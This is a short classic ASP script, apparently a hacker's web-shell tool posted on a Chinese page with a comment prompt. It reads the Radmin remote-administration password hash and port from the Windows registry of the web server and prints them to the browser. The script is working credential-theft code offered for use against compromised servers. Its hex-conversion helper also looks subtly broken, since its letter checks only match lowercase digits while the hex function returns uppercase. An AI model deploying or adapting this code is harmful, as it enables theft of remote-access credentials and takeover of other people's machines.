<%
'========================================main======================================
set wsh= server.createobject("wscript.shell")
radminpath="hkey_local_machine\system\radmin\v2.0\server\parameters\"
parameter="parameter"
port = "port"
parameterarray=wsh.regread(radminpath & parameter )
response.write "the result of radmin hash"
response.write "<br><br>"
response.write parameter&":"
'=========== readpassword =========
if isarray(parameterarray) then
for i = 0 to ubound(parameterarray)
if len (hex(parameterarray(i)))=1 then
strobj = strobj & "0" & cstr(hex(parameterarray(i)))
else
strobj = strobj & hex(parameterarray(i))
end if
next
response.write lcase(strobj)
else
response.write "error! can't read!"
end if
response.write "<br><br>"
'=========== readport =========
portarray=wsh.regread(radminpath & port )
if isarray(portarray) then
response.write port &":"
response.write hextointer(cstr(hex(portarray(1)))&cstr(hex(portarray(0))))
else
response.write "error! can't read!"
end if
'=============hex to int==========
function hextointer(strin)
dim i, j, k, result
result = 0
for i = 1 to len(strin)
if mid(strin, i, 1) = "f" or mid(strin, i, 1) ="f" then
j = 15
end if
if mid(strin, i, 1) = "e" or mid(strin, i, 1) = "e" then
j = 14
end if
if mid(strin, i, 1) = "d" or mid(strin, i, 1) = "d" then
j = 13
end if
if mid(strin, i, 1) = "c" or mid(strin, i, 1) = "c" then
j = 12
end if
if mid(strin, i, 1) = "b" or mid(strin, i, 1) = "b" then
j = 11
end if
if mid(strin, i, 1) = "a" or mid(strin, i, 1) = "a" then
j = 10
end if
if mid(strin, i, 1) <= "9" and mid(strin, i, 1) >= "0" then
j = cint(mid(strin, i, 1))
end if
for k = 1 to len(strin) - i
j = j * 16
next
result = result + j
next
hextointer = result
end function
'================ end ==========
%>
如对本文有疑问,
点击进行留言回复!!
网友评论